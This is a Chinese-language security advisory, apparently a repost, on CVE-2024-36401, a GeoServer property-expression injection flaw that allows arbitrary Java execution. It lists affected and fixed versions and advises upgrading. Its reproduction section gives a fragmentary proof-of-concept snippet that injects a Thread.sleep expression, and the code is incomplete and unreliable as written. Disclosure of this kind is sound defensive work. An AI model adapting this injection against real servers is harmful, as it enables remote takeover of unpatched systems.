漏洞预警 | GeoServer property 表达式注入代码执行漏洞(CVE-2024-36401)

admin 2024年7月10日23:55:39评论14 views字数 559阅读1分51秒阅读模式

一、漏洞概述

GeoServer是一个功能齐全,遵循OGC开放标准的开源WFS-T和WMS服务器,攻击者可构造恶意请求执行任意java代码,控制服务器。

二、漏洞复现

POC:

new org.geotools.filter.v1_0.OGCConfiguration(),

             new java.io.ByteArrayInputStream("<Filter>

</Filter>".getBytes()),

                      "java.lang.Thread.sleep(5000)")
                .parse();

三、影响范围

2.25.0 <= GeoServer < 2.25.2
2.24.0 <= GeoServer < 2.24.4
GeoServer < 2.23.6

四、安全版本

GeoServer 2.25.2
GeoServer 2.24.4
GeoServer 2.23.6

五、安全措施

升级修复方案

建议您更新当前系统或软件至最新版,完成漏洞的修复。

六、参考链接:

https://osgeo-org.atlassian.net/browse/GEOT-7587

漏洞预警 | GeoServer property 表达式注入代码执行漏洞(CVE-2024-36401)

原文始发于微信公众号(网络威胁数据联盟):漏洞预警 | GeoServer property 表达式注入代码执行漏洞(CVE-2024-36401)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月10日23:55:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞预警 | GeoServer property 表达式注入代码执行漏洞(CVE-2024-36401)https://cn-sec.com/archives/2939849.html

发表评论

匿名网友 填写信息